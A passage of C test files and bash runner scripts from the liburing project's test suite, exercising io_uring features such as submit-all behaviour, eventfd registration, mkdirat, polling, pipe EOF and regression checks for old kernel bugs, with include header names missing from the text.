/* SPDX-License-Identifier: MIT */ 2 | /* 3 | * Description: test IORING_SETUP_SUBMIT_ALL 4 | * 5 | */ 6 | #include 7 | #include 8 | #include 9 | #include 10 | 11 | #include "liburing.h" 12 | 13 | static int test(struct io_uring *ring, int expect_drops) 14 | { 15 | struct io_uring_sqe *sqe; 16 | char buf[32]; 17 | int ret, i; 18 | 19 | for (i = 0; i < 4; i++) { 20 | sqe = io_uring_get_sqe(ring); 21 | if (!sqe) { 22 | fprintf(stderr, "get sqe failed\n"); 23 | goto err; 24 | } 25 | 26 | io_uring_prep_nop(sqe); 27 | } 28 | 29 | /* prep two invalid reads, these will fail */ 30 | for (i = 0; i < 2; i++) { 31 | sqe = io_uring_get_sqe(ring); 32 | if (!sqe) { 33 | fprintf(stderr, "get sqe failed\n"); 34 | goto err; 35 | } 36 | 37 | io_uring_prep_read(sqe, 128, buf, sizeof(buf), 0); 38 | sqe->ioprio = (short) -1; 39 | } 40 | 41 | 42 | ret = io_uring_submit(ring); 43 | if (expect_drops) { 44 | if (ret != 5) { 45 | fprintf(stderr, "drops submit failed: %d\n", ret); 46 | goto err; 47 | } 48 | } else { 49 | if (ret != 6) { 50 | fprintf(stderr, "no drops submit failed: %d\n", ret); 51 | goto err; 52 | } 53 | } 54 | 55 | return 0; 56 | err: 57 | return 1; 58 | } 59 | 60 | int main(int argc, char *argv[]) 61 | { 62 | struct io_uring ring; 63 | int ret; 64 | 65 | if (argc > 1) 66 | return 0; 67 | 68 | ret = io_uring_queue_init(8, &ring, IORING_SETUP_SUBMIT_ALL); 69 | if (ret) 70 | return 0; 71 | 72 | ret = test(&ring, 0); 73 | if (ret) { 74 | fprintf(stderr, "test no drops failed\n"); 75 | return ret; 76 | } 77 | 78 | io_uring_queue_exit(&ring); 79 | 80 | ret = io_uring_queue_init(8, &ring, 0); 81 | if (ret) { 82 | fprintf(stderr, "ring setup failed\n"); 83 | return 0; 84 | } 85 | 86 | ret = test(&ring, 1); 87 | if (ret) { 88 | fprintf(stderr, "test drops failed\n"); 89 | return ret; 90 | } 91 | 92 | return 0; 93 | } 94 | -------------------------------------------------------------------------------- /liburing/test/eeed8b54e0df.c: -------------------------------------------------------------------------------- 1 | /* SPDX-License-Identifier: MIT */ 2 | /* 3 | * Description: -EAGAIN handling 4 | * 5 | */ 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | 13 | #include "helpers.h" 14 | #include "liburing.h" 15 | 16 | #define BLOCK 4096 17 | 18 | #ifndef RWF_NOWAIT 19 | #define RWF_NOWAIT 8 20 | #endif 21 | 22 | static int get_file_fd(void) 23 | { 24 | ssize_t ret; 25 | char *buf; 26 | int fd; 27 | 28 | fd = open("testfile", O_RDWR | O_CREAT, 0644); 29 | unlink("testfile"); 30 | if (fd < 0) { 31 | perror("open file"); 32 | return -1; 33 | } 34 | 35 | buf = t_malloc(BLOCK); 36 | ret = write(fd, buf, BLOCK); 37 | if (ret != BLOCK) { 38 | if (ret < 0) 39 | perror("write"); 40 | else 41 | printf("Short write\n"); 42 | goto err; 43 | } 44 | fsync(fd); 45 | 46 | if (posix_fadvise(fd, 0, 4096, POSIX_FADV_DONTNEED)) { 47 | perror("fadvise"); 48 | err: 49 | close(fd); 50 | free(buf); 51 | return -1; 52 | } 53 | 54 | free(buf); 55 | return fd; 56 | } 57 | 58 | int main(int argc, char *argv[]) 59 | { 60 | struct io_uring ring; 61 | struct io_uring_sqe *sqe; 62 | struct io_uring_cqe *cqe; 63 | struct iovec iov; 64 | int ret, fd; 65 | 66 | if (argc > 1) 67 | return 0; 68 | 69 | iov.iov_base = t_malloc(4096); 70 | iov.iov_len = 4096; 71 | 72 | ret = io_uring_queue_init(2, &ring, 0); 73 | if (ret) { 74 | printf("ring setup failed\n"); 75 | return 1; 76 | 77 | } 78 | 79 | sqe = io_uring_get_sqe(&ring); 80 | if (!sqe) { 81 | printf("get sqe failed\n"); 82 | return 1; 83 | } 84 | 85 | fd = get_file_fd(); 86 | if (fd < 0) 87 | return 1; 88 | 89 | io_uring_prep_readv(sqe, fd, &iov, 1, 0); 90 | sqe->rw_flags = RWF_NOWAIT; 91 | 92 | ret = io_uring_submit(&ring); 93 | if (ret != 1) { 94 | printf("Got submit %d, expected 1\n", ret); 95 | goto err; 96 | } 97 | 98 | ret = io_uring_peek_cqe(&ring, &cqe); 99 | if (ret) { 100 | printf("Ring peek got %d\n", ret); 101 | goto err; 102 | } 103 | 104 | if (cqe->res != -EAGAIN && cqe->res != 4096) { 105 | printf("cqe error: %d\n", cqe->res); 106 | goto err; 107 | } 108 | 109 | close(fd); 110 | return 0; 111 | err: 112 | close(fd); 113 | return 1; 114 | } 115 | -------------------------------------------------------------------------------- /liburing/test/empty-eownerdead.c: -------------------------------------------------------------------------------- 1 | /* SPDX-License-Identifier: MIT */ 2 | /* 3 | * Test if entering with nothing to submit/wait for SQPOLL returns an error. 4 | */ 5 | #include 6 | #include 7 | #include 8 | 9 | #include "liburing.h" 10 | #include "helpers.h" 11 | #include "../src/syscall.h" 12 | 13 | int main(int argc, char *argv[]) 14 | { 15 | struct io_uring_params p = {}; 16 | struct io_uring ring; 17 | int ret; 18 | 19 | if (argc > 1) 20 | return 0; 21 | 22 | p.flags = IORING_SETUP_SQPOLL; 23 | p.sq_thread_idle = 100; 24 | 25 | ret = t_create_ring_params(1, &ring, &p); 26 | if (ret == T_SETUP_SKIP) 27 | return 0; 28 | else if (ret < 0) 29 | goto err; 30 | 31 | ret = __sys_io_uring_enter(ring.ring_fd, 0, 0, 0, NULL); 32 | if (ret < 0) { 33 | int __e = errno; 34 | 35 | if (__e == EOWNERDEAD) 36 | fprintf(stderr, "sqe submit unexpected failure due old kernel bug: %s\n", strerror(__e)); 37 | else 38 | fprintf(stderr, "sqe submit unexpected failure: %s\n", strerror(__e)); 39 | goto err; 40 | } 41 | 42 | return 0; 43 | err: 44 | return 1; 45 | } 46 | -------------------------------------------------------------------------------- /liburing/test/eventfd-reg.c: -------------------------------------------------------------------------------- 1 | /* SPDX-License-Identifier: MIT */ 2 | /* 3 | * Description: test eventfd registration+unregistration 4 | * 5 | */ 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | 15 | #include "liburing.h" 16 | 17 | int main(int argc, char *argv[]) 18 | { 19 | struct io_uring_params p = {}; 20 | struct io_uring ring; 21 | int ret, evfd[2], i; 22 | 23 | if (argc > 1) 24 | return 0; 25 | 26 | ret = io_uring_queue_init_params(8, &ring, &p); 27 | if (ret) { 28 | fprintf(stderr, "ring setup failed: %d\n", ret); 29 | return 1; 30 | } 31 | 32 | evfd[0] = eventfd(0, EFD_CLOEXEC); 33 | evfd[1] = eventfd(0, EFD_CLOEXEC); 34 | if (evfd[0] < 0 || evfd[1] < 0) { 35 | perror("eventfd"); 36 | return 1; 37 | } 38 | 39 | ret = io_uring_register_eventfd(&ring, evfd[0]); 40 | if (ret) { 41 | fprintf(stderr, "failed to register evfd: %d\n", ret); 42 | return 1; 43 | } 44 | 45 | /* Check that registrering again will get -EBUSY */ 46 | ret = io_uring_register_eventfd(&ring, evfd[1]); 47 | if (ret != -EBUSY) { 48 | fprintf(stderr, "unexpected 2nd register: %d\n", ret); 49 | return 1; 50 | } 51 | close(evfd[1]); 52 | 53 | ret = io_uring_unregister_eventfd(&ring); 54 | if (ret) { 55 | fprintf(stderr, "unexpected unregister: %d\n", ret); 56 | return 1; 57 | } 58 | 59 | /* loop 100 registers/unregister */ 60 | for (i = 0; i < 100; i++) { 61 | ret = io_uring_register_eventfd(&ring, evfd[0]); 62 | if (ret) { 63 | fprintf(stderr, "failed to register evfd: %d\n", ret); 64 | return 1; 65 | } 66 | 67 | ret = io_uring_unregister_eventfd(&ring); 68 | if (ret) { 69 | fprintf(stderr, "unexpected unregister: %d\n", ret); 70 | return 1; 71 | } 72 | } 73 | 74 | close(evfd[0]); 75 | return 0; 76 | } 77 | -------------------------------------------------------------------------------- /liburing/test/eventfd-ring.c: -------------------------------------------------------------------------------- 1 | /* SPDX-License-Identifier: MIT */ 2 | /* 3 | * Description: run various nop tests 4 | * 5 | */ 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | 15 | #include "liburing.h" 16 | 17 | int main(int argc, char *argv[]) 18 | { 19 | struct io_uring_params p = {}; 20 | struct io_uring ring1, ring2; 21 | struct io_uring_sqe *sqe; 22 | int ret, evfd1, evfd2; 23 | 24 | if (argc > 1) 25 | return 0; 26 | 27 | ret = io_uring_queue_init_params(8, &ring1, &p); 28 | if (ret) { 29 | fprintf(stderr, "ring setup failed: %d\n", ret); 30 | return 1; 31 | } 32 | if (!(p.features & IORING_FEAT_CUR_PERSONALITY)) { 33 | fprintf(stdout, "Skipping\n"); 34 | return 0; 35 | } 36 | ret = io_uring_queue_init(8, &ring2, 0); 37 | if (ret) { 38 | fprintf(stderr, "ring setup failed: %d\n", ret); 39 | return 1; 40 | } 41 | 42 | evfd1 = eventfd(0, EFD_CLOEXEC); 43 | if (evfd1 < 0) { 44 | perror("eventfd"); 45 | return 1; 46 | } 47 | 48 | evfd2 = eventfd(0, EFD_CLOEXEC); 49 | if (evfd2 < 0) { 50 | perror("eventfd"); 51 | return 1; 52 | } 53 | 54 | ret = io_uring_register_eventfd(&ring1, evfd1); 55 | if (ret) { 56 | fprintf(stderr, "failed to register evfd: %d\n", ret); 57 | return 1; 58 | } 59 | 60 | ret = io_uring_register_eventfd(&ring2, evfd2); 61 | if (ret) { 62 | fprintf(stderr, "failed to register evfd: %d\n", ret); 63 | return 1; 64 | } 65 | 66 | sqe = io_uring_get_sqe(&ring1); 67 | io_uring_prep_poll_add(sqe, evfd2, POLLIN); 68 | sqe->user_data = 1; 69 | 70 | sqe = io_uring_get_sqe(&ring2); 71 | io_uring_prep_poll_add(sqe, evfd1, POLLIN); 72 | sqe->user_data = 1; 73 | 74 | ret = io_uring_submit(&ring1); 75 | if (ret != 1) { 76 | fprintf(stderr, "submit: %d\n", ret); 77 | return 1; 78 | } 79 | 80 | ret = io_uring_submit(&ring2); 81 | if (ret != 1) { 82 | fprintf(stderr, "submit: %d\n", ret); 83 | return 1; 84 | } 85 | 86 | sqe = io_uring_get_sqe(&ring1); 87 | io_uring_prep_nop(sqe); 88 | sqe->user_data = 3; 89 | 90 | ret = io_uring_submit(&ring1); 91 | if (ret != 1) { 92 | fprintf(stderr, "submit: %d\n", ret); 93 | return 1; 94 | } 95 | 96 | return 0; 97 | } 98 | -------------------------------------------------------------------------------- /liburing/test/exec-target.c: -------------------------------------------------------------------------------- 1 | /* SPDX-License-Identifier: MIT */ 2 | 3 | int main(int argc, char *argv[]) 4 | { 5 | return 0; 6 | } 7 | -------------------------------------------------------------------------------- /liburing/test/fixed-link.c: -------------------------------------------------------------------------------- 1 | /* SPDX-License-Identifier: MIT */ 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | 10 | #include "helpers.h" 11 | #include "liburing.h" 12 | 13 | #define IOVECS_LEN 2 14 | 15 | int main(int argc, char *argv[]) 16 | { 17 | struct iovec iovecs[IOVECS_LEN]; 18 | struct io_uring ring; 19 | int i, fd, ret; 20 | 21 | if (argc > 1) 22 | return 0; 23 | 24 | fd = open("/dev/zero", O_RDONLY); 25 | if (fd < 0) { 26 | fprintf(stderr, "Failed to open /dev/zero\n"); 27 | return 1; 28 | } 29 | 30 | if (io_uring_queue_init(32, &ring, 0) < 0) { 31 | fprintf(stderr, "Faild to init io_uring\n"); 32 | close(fd); 33 | return 1; 34 | } 35 | 36 | for (i = 0; i < IOVECS_LEN; ++i) { 37 | iovecs[i].iov_base = t_malloc(64); 38 | iovecs[i].iov_len = 64; 39 | }; 40 | 41 | ret = io_uring_register_buffers(&ring, iovecs, IOVECS_LEN); 42 | if (ret) { 43 | fprintf(stderr, "Failed to register buffers\n"); 44 | return 1; 45 | } 46 | 47 | for (i = 0; i < IOVECS_LEN; ++i) { 48 | struct io_uring_sqe *sqe = io_uring_get_sqe(&ring); 49 | const char *str = "#include "; 50 | 51 | iovecs[i].iov_len = strlen(str); 52 | io_uring_prep_read_fixed(sqe, fd, iovecs[i].iov_base, strlen(str), 0, i); 53 | if (i == 0) 54 | io_uring_sqe_set_flags(sqe, IOSQE_IO_LINK); 55 | io_uring_sqe_set_data(sqe, (void *)str); 56 | } 57 | 58 | ret = io_uring_submit_and_wait(&ring, IOVECS_LEN); 59 | if (ret < 0) { 60 | fprintf(stderr, "Failed to submit IO\n"); 61 | return 1; 62 | } else if (ret < 2) { 63 | fprintf(stderr, "Submitted %d, wanted %d\n", ret, IOVECS_LEN); 64 | return 1; 65 | } 66 | 67 | for (i = 0; i < IOVECS_LEN; i++) { 68 | struct io_uring_cqe *cqe; 69 | 70 | ret = io_uring_wait_cqe(&ring, &cqe); 71 | if (ret) { 72 | fprintf(stderr, "wait_cqe=%d\n", ret); 73 | return 1; 74 | } 75 | if (cqe->res != iovecs[i].iov_len) { 76 | fprintf(stderr, "read: wanted %ld, got %d\n", 77 | (long) iovecs[i].iov_len, cqe->res); 78 | return 1; 79 | } 80 | io_uring_cqe_seen(&ring, cqe); 81 | } 82 | 83 | close(fd); 84 | io_uring_queue_exit(&ring); 85 | 86 | for (i = 0; i < IOVECS_LEN; ++i) 87 | free(iovecs[i].iov_base); 88 | 89 | return 0; 90 | } 91 | -------------------------------------------------------------------------------- /liburing/test/helpers.h: -------------------------------------------------------------------------------- 1 | /* SPDX-License-Identifier: MIT */ 2 | /* 3 | * Description: Helpers for tests. 4 | */ 5 | #ifndef LIBURING_HELPERS_H 6 | #define LIBURING_HELPERS_H 7 | 8 | #ifdef __cplusplus 9 | extern "C" { 10 | #endif 11 | 12 | #include "liburing.h" 13 | 14 | enum t_setup_ret { 15 | T_SETUP_OK = 0, 16 | T_SETUP_SKIP, 17 | }; 18 | 19 | /* 20 | * Helper for allocating memory in tests. 21 | */ 22 | void *t_malloc(size_t size); 23 | 24 | 25 | /* 26 | * Helper for allocating size bytes aligned on a boundary. 27 | */ 28 | void t_posix_memalign(void **memptr, size_t alignment, size_t size); 29 | 30 | 31 | /* 32 | * Helper for allocating space for an array of nmemb elements 33 | * with size bytes for each element. 34 | */ 35 | void *t_calloc(size_t nmemb, size_t size); 36 | 37 | 38 | /* 39 | * Helper for creating file and write @size byte buf with 0xaa value in the file. 40 | */ 41 | void t_create_file(const char *file, size_t size); 42 | 43 | /* 44 | * Helper for creating file and write @size byte buf with @pattern value in 45 | * the file. 46 | */ 47 | void t_create_file_pattern(const char *file, size_t size, char pattern); 48 | 49 | /* 50 | * Helper for creating @buf_num number of iovec 51 | * with @buf_size bytes buffer of each iovec. 52 | */ 53 | struct iovec *t_create_buffers(size_t buf_num, size_t buf_size); 54 | 55 | /* 56 | * Helper for setting up a ring and checking for user privs 57 | */ 58 | enum t_setup_ret t_create_ring_params(int depth, struct io_uring *ring, 59 | struct io_uring_params *p); 60 | enum t_setup_ret t_create_ring(int depth, struct io_uring *ring, 61 | unsigned int flags); 62 | 63 | enum t_setup_ret t_register_buffers(struct io_uring *ring, 64 | const struct iovec *iovecs, 65 | unsigned nr_iovecs); 66 | 67 | #define ARRAY_SIZE(x) (sizeof(x) / sizeof((x)[0])) 68 | 69 | #ifdef __cplusplus 70 | } 71 | #endif 72 | 73 | #endif 74 | -------------------------------------------------------------------------------- /liburing/test/mkdir.c: -------------------------------------------------------------------------------- 1 | /* SPDX-License-Identifier: MIT */ 2 | /* 3 | * Description: test io_uring mkdirat handling 4 | */ 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | 12 | #include "liburing.h" 13 | 14 | static int do_mkdirat(struct io_uring *ring, const char *fn) 15 | { 16 | int ret; 17 | struct io_uring_sqe *sqe; 18 | struct io_uring_cqe *cqe; 19 | 20 | sqe = io_uring_get_sqe(ring); 21 | if (!sqe) { 22 | fprintf(stderr, "sqe get failed\n"); 23 | goto err; 24 | } 25 | io_uring_prep_mkdirat(sqe, AT_FDCWD, fn, 0700); 26 | 27 | ret = io_uring_submit(ring); 28 | if (ret != 1) { 29 | fprintf(stderr, "submit failed: %d\n", ret); 30 | goto err; 31 | } 32 | 33 | ret = io_uring_wait_cqes(ring, &cqe, 1, 0, 0); 34 | if (ret) { 35 | fprintf(stderr, "wait_cqe failed: %d\n", ret); 36 | goto err; 37 | } 38 | ret = cqe->res; 39 | io_uring_cqe_seen(ring, cqe); 40 | return ret; 41 | err: 42 | return 1; 43 | } 44 | 45 | static int stat_file(const char *fn) 46 | { 47 | struct stat sb; 48 | 49 | if (!stat(fn, &sb)) 50 | return 0; 51 | 52 | return errno; 53 | } 54 | 55 | int main(int argc, char *argv[]) 56 | { 57 | static const char fn[] = "io_uring-mkdirat-test"; 58 | int ret; 59 | struct io_uring ring; 60 | 61 | if (argc > 1) 62 | return 0; 63 | 64 | ret = io_uring_queue_init(8, &ring, 0); 65 | if (ret) { 66 | fprintf(stderr, "queue init failed: %d\n", ret); 67 | return ret; 68 | } 69 | 70 | ret = do_mkdirat(&ring, fn); 71 | if (ret < 0) { 72 | if (ret == -EBADF || ret == -EINVAL) { 73 | fprintf(stdout, "mkdirat not supported, skipping\n"); 74 | goto out; 75 | } 76 | fprintf(stderr, "mkdirat: %s\n", strerror(-ret)); 77 | goto err; 78 | } else if (ret) { 79 | goto err; 80 | } 81 | 82 | if (stat_file(fn)) { 83 | perror("stat"); 84 | goto err; 85 | } 86 | 87 | ret = do_mkdirat(&ring, fn); 88 | if (ret != -EEXIST) { 89 | fprintf(stderr, "do_mkdirat already exists failed: %d\n", ret); 90 | goto err1; 91 | } 92 | 93 | ret = do_mkdirat(&ring, "surely/this/wont/exist"); 94 | if (ret != -ENOENT) { 95 | fprintf(stderr, "do_mkdirat no parent failed: %d\n", ret); 96 | goto err1; 97 | } 98 | 99 | out: 100 | unlinkat(AT_FDCWD, fn, AT_REMOVEDIR); 101 | io_uring_queue_exit(&ring); 102 | return 0; 103 | err1: 104 | unlinkat(AT_FDCWD, fn, AT_REMOVEDIR); 105 | err: 106 | io_uring_queue_exit(&ring); 107 | return 1; 108 | } 109 | -------------------------------------------------------------------------------- /liburing/test/nop-all-sizes.c: -------------------------------------------------------------------------------- 1 | /* SPDX-License-Identifier: MIT */ 2 | /* 3 | * Description: exercise full filling of SQ and CQ ring 4 | * 5 | */ 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | 13 | #include "liburing.h" 14 | 15 | #define MAX_ENTRIES 32768 16 | 17 | static int fill_nops(struct io_uring *ring) 18 | { 19 | struct io_uring_sqe *sqe; 20 | int filled = 0; 21 | 22 | do { 23 | sqe = io_uring_get_sqe(ring); 24 | if (!sqe) 25 | break; 26 | 27 | io_uring_prep_nop(sqe); 28 | filled++; 29 | } while (1); 30 | 31 | return filled; 32 | } 33 | 34 | static int test_nops(struct io_uring *ring) 35 | { 36 | struct io_uring_cqe *cqe; 37 | int ret, nr, total = 0, i; 38 | 39 | nr = fill_nops(ring); 40 | 41 | ret = io_uring_submit(ring); 42 | if (ret != nr) { 43 | fprintf(stderr, "submit %d, wanted %d\n", ret, nr); 44 | goto err; 45 | } 46 | total += ret; 47 | 48 | nr = fill_nops(ring); 49 | 50 | ret = io_uring_submit(ring); 51 | if (ret != nr) { 52 | fprintf(stderr, "submit %d, wanted %d\n", ret, nr); 53 | goto err; 54 | } 55 | total += ret; 56 | 57 | for (i = 0; i < total; i++) { 58 | ret = io_uring_wait_cqe(ring, &cqe); 59 | if (ret < 0) { 60 | fprintf(stderr, "wait completion %d\n", ret); 61 | goto err; 62 | } 63 | 64 | io_uring_cqe_seen(ring, cqe); 65 | } 66 | return 0; 67 | err: 68 | return 1; 69 | } 70 | 71 | int main(int argc, char *argv[]) 72 | { 73 | struct io_uring ring; 74 | int ret, depth; 75 | 76 | if (argc > 1) 77 | return 0; 78 | 79 | depth = 1; 80 | while (depth <= MAX_ENTRIES) { 81 | ret = io_uring_queue_init(depth, &ring, 0); 82 | if (ret) { 83 | if (ret == -ENOMEM) 84 | break; 85 | fprintf(stderr, "ring setup failed: %d\n", ret); 86 | return 1; 87 | } 88 | 89 | ret = test_nops(&ring); 90 | if (ret) { 91 | fprintf(stderr, "test_single_nop failed\n"); 92 | return ret; 93 | } 94 | depth <<= 1; 95 | io_uring_queue_exit(&ring); 96 | } 97 | 98 | return 0; 99 | } 100 | -------------------------------------------------------------------------------- /liburing/test/pipe-eof.c: -------------------------------------------------------------------------------- 1 | /* SPDX-License-Identifier: MIT */ 2 | 3 | /* 4 | * Test that closed pipe reads returns 0, instead of waiting for more 5 | * data. 6 | */ 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include "liburing.h" 14 | 15 | #define BUFSIZE 512 16 | 17 | struct data { 18 | char *str; 19 | int fds[2]; 20 | }; 21 | 22 | static void *t(void *data) 23 | { 24 | struct data *d = data; 25 | int ret; 26 | 27 | strcpy(d->str, "This is a test string"); 28 | ret = write(d->fds[1], d->str, strlen(d->str)); 29 | close(d->fds[1]); 30 | if (ret < 0) 31 | perror("write"); 32 | 33 | return NULL; 34 | } 35 | 36 | int main(int argc, char *argv[]) 37 | { 38 | static char buf[BUFSIZE]; 39 | struct io_uring ring; 40 | pthread_t thread; 41 | struct data d; 42 | int ret; 43 | 44 | if (pipe(d.fds) < 0) { 45 | perror("pipe"); 46 | return 1; 47 | } 48 | d.str = buf; 49 | 50 | io_uring_queue_init(8, &ring, 0); 51 | 52 | pthread_create(&thread, NULL, t, &d); 53 | 54 | while (1) { 55 | struct io_uring_sqe *sqe; 56 | struct io_uring_cqe *cqe; 57 | 58 | sqe = io_uring_get_sqe(&ring); 59 | io_uring_prep_read(sqe, d.fds[0], buf, BUFSIZE, 0); 60 | ret = io_uring_submit(&ring); 61 | if (ret != 1) { 62 | fprintf(stderr, "submit: %d\n", ret); 63 | return 1; 64 | } 65 | ret = io_uring_wait_cqe(&ring, &cqe); 66 | if (ret) { 67 | fprintf(stderr, "wait: %d\n", ret); 68 | return 1; 69 | } 70 | 71 | if (cqe->res < 0) { 72 | fprintf(stderr, "Read error: %s\n", strerror(-cqe->res)); 73 | return 1; 74 | } 75 | if (cqe->res == 0) 76 | break; 77 | io_uring_cqe_seen(&ring, cqe); 78 | } 79 | 80 | pthread_join(thread, NULL); 81 | io_uring_queue_exit(&ring); 82 | return 0; 83 | } 84 | -------------------------------------------------------------------------------- /liburing/test/poll-ring.c: -------------------------------------------------------------------------------- 1 | /* SPDX-License-Identifier: MIT */ 2 | /* 3 | * Description: Test poll against ring itself. A buggy kernel will end up 4 | * having io_wq_* workers pending, as the circular reference 5 | * will prevent full exit. 6 | * 7 | */ 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | 15 | #include "liburing.h" 16 | 17 | int main(int argc, char *argv[]) 18 | { 19 | struct io_uring_sqe *sqe; 20 | struct io_uring ring; 21 | int ret; 22 | 23 | if (argc > 1) 24 | return 0; 25 | 26 | ret = io_uring_queue_init(1, &ring, 0); 27 | if (ret) { 28 | fprintf(stderr, "child: ring setup failed: %d\n", ret); 29 | return 1; 30 | } 31 | 32 | sqe = io_uring_get_sqe(&ring); 33 | if (!sqe) { 34 | fprintf(stderr, "get sqe failed\n"); 35 | return 1; 36 | } 37 | 38 | io_uring_prep_poll_add(sqe, ring.ring_fd, POLLIN); 39 | io_uring_sqe_set_data(sqe, sqe); 40 | 41 | ret = io_uring_submit(&ring); 42 | if (ret <= 0) { 43 | fprintf(stderr, "child: sqe submit failed: %d\n", ret); 44 | return 1; 45 | } 46 | 47 | return 0; 48 | } 49 | -------------------------------------------------------------------------------- /liburing/test/poll.c: -------------------------------------------------------------------------------- 1 | /* SPDX-License-Identifier: MIT */ 2 | /* 3 | * Description: test io_uring poll handling 4 | * 5 | */ 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | 15 | #include "liburing.h" 16 | 17 | static void sig_alrm(int sig) 18 | { 19 | fprintf(stderr, "Timed out!\n"); 20 | exit(1); 21 | } 22 | 23 | int main(int argc, char *argv[]) 24 | { 25 | struct io_uring_cqe *cqe; 26 | struct io_uring_sqe *sqe; 27 | struct io_uring ring; 28 | int pipe1[2]; 29 | pid_t p; 30 | int ret; 31 | 32 | if (argc > 1) 33 | return 0; 34 | 35 | if (pipe(pipe1) != 0) { 36 | perror("pipe"); 37 | return 1; 38 | } 39 | 40 | p = fork(); 41 | switch (p) { 42 | case -1: 43 | perror("fork"); 44 | exit(2); 45 | case 0: { 46 | struct sigaction act; 47 | 48 | ret = io_uring_queue_init(1, &ring, 0); 49 | if (ret) { 50 | fprintf(stderr, "child: ring setup failed: %d\n", ret); 51 | return 1; 52 | } 53 | 54 | memset(&act, 0, sizeof(act)); 55 | act.sa_handler = sig_alrm; 56 | act.sa_flags = SA_RESTART; 57 | sigaction(SIGALRM, &act, NULL); 58 | alarm(1); 59 | 60 | sqe = io_uring_get_sqe(&ring); 61 | if (!sqe) { 62 | fprintf(stderr, "get sqe failed\n"); 63 | return 1; 64 | } 65 | 66 | io_uring_prep_poll_add(sqe, pipe1[0], POLLIN); 67 | io_uring_sqe_set_data(sqe, sqe); 68 | 69 | ret = io_uring_submit(&ring); 70 | if (ret <= 0) { 71 | fprintf(stderr, "child: sqe submit failed: %d\n", ret); 72 | return 1; 73 | } 74 | 75 | do { 76 | ret = io_uring_wait_cqe(&ring, &cqe); 77 | if (ret < 0) { 78 | fprintf(stderr, "child: wait completion %d\n", ret); 79 | break; 80 | } 81 | io_uring_cqe_seen(&ring, cqe); 82 | } while (ret != 0); 83 | 84 | if (ret < 0) 85 | return 1; 86 | if (cqe->user_data != (unsigned long) sqe) { 87 | fprintf(stderr, "child: cqe doesn't match sqe\n"); 88 | return 1; 89 | } 90 | if ((cqe->res & POLLIN) != POLLIN) { 91 | fprintf(stderr, "child: bad return value %ld\n", 92 | (long) cqe->res); 93 | return 1; 94 | } 95 | exit(0); 96 | } 97 | default: 98 | do { 99 | errno = 0; 100 | ret = write(pipe1[1], "foo", 3); 101 | } while (ret == -1 && errno == EINTR); 102 | 103 | if (ret != 3) { 104 | fprintf(stderr, "parent: bad write return %d\n", ret); 105 | return 1; 106 | } 107 | return 0; 108 | } 109 | } 110 | -------------------------------------------------------------------------------- /liburing/test/runtests-loop.sh: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bash 2 | 3 | TESTS=("$@") 4 | ITER=0 5 | 6 | while true; do 7 | ./runtests.sh "${TESTS[@]}" 8 | RET="$?" 9 | if [ "${RET}" -ne 0 ]; then 10 | echo "Tests failed at loop $ITER" 11 | break 12 | fi 13 | echo "Finished loop $ITER" 14 | ((ITER++)) 15 | done 16 | 17 | -------------------------------------------------------------------------------- /liburing/test/runtests-quiet.sh: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bash 2 | 3 | TESTS=("$@") 4 | RESULT_FILE=$(mktemp) 5 | ./runtests.sh "${TESTS[@]}" > "$RESULT_FILE" 2>&1 6 | RET="$?" 7 | if [ "${RET}" -ne 0 ]; then 8 | cat "$RESULT_FILE" 9 | fi 10 | rm "$RESULT_FILE" 11 | exit $RET 12 | -------------------------------------------------------------------------------- /liburing/test/rw_merge_test.c: -------------------------------------------------------------------------------- 1 | /* SPDX-License-Identifier: MIT */ 2 | /* 3 | * Regression test for incorrect async_list io_should_merge() logic 4 | * Bug was fixed in 5.5 by (commit: 561fb04 io_uring: replace workqueue usage with io-wq") 5 | * Affects 5.4 lts branch, at least 5.4.106 is affected. 6 | */ 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | 15 | #include "liburing.h" 16 | #include "helpers.h" 17 | 18 | int main(int argc, char *argv[]) 19 | { 20 | struct io_uring_sqe *sqe; 21 | struct io_uring_cqe *cqe; 22 | struct io_uring ring; 23 | int ret, fd, pipe1[2]; 24 | char buf[4096]; 25 | struct iovec vec = { 26 | .iov_base = buf, 27 | .iov_len = sizeof(buf) 28 | }; 29 | struct __kernel_timespec ts = {.tv_sec = 3, .tv_nsec = 0}; 30 | 31 | if (argc > 1) 32 | return 0; 33 | 34 | ret = pipe(pipe1); 35 | assert(!ret); 36 | 37 | fd = open("testfile", O_RDWR | O_CREAT, 0644); 38 | assert(fd >= 0); 39 | unlink("testfile"); 40 | ret = ftruncate(fd, 4096); 41 | assert(!ret); 42 | 43 | ret = t_create_ring(4, &ring, 0); 44 | if (ret == T_SETUP_SKIP) 45 | return 0; 46 | else if (ret < 0) 47 | return 1; 48 | 49 | /* REQ1 */ 50 | sqe = io_uring_get_sqe(&ring); 51 | io_uring_prep_readv(sqe, pipe1[0], &vec, 1, 0); 52 | sqe->user_data = 1; 53 | 54 | /* REQ2 */ 55 | sqe = io_uring_get_sqe(&ring); 56 | io_uring_prep_readv(sqe, fd, &vec, 1, 4096); 57 | sqe->user_data = 2; 58 | 59 | ret = io_uring_submit(&ring); 60 | assert(ret == 2); 61 | 62 | ret = io_uring_wait_cqe(&ring, &cqe); 63 | assert(!ret); 64 | assert(cqe->res == 0); 65 | assert(cqe->user_data == 2); 66 | io_uring_cqe_seen(&ring, cqe); 67 | 68 | /* 69 | * REQ3 70 | * Prepare request adjacent to previous one, so merge logic may want to 71 | * link it to previous request, but because of a bug in merge logic 72 | * it may be merged with request 73 | */ 74 | sqe = io_uring_get_sqe(&ring); 75 | io_uring_prep_readv(sqe, fd, &vec, 1, 2048); 76 | sqe->user_data = 3; 77 | 78 | ret = io_uring_submit(&ring); 79 | assert(ret == 1); 80 | 81 | /* 82 | * Read may stuck because of bug there request was be incorrecly 83 | * merged with request 84 | */ 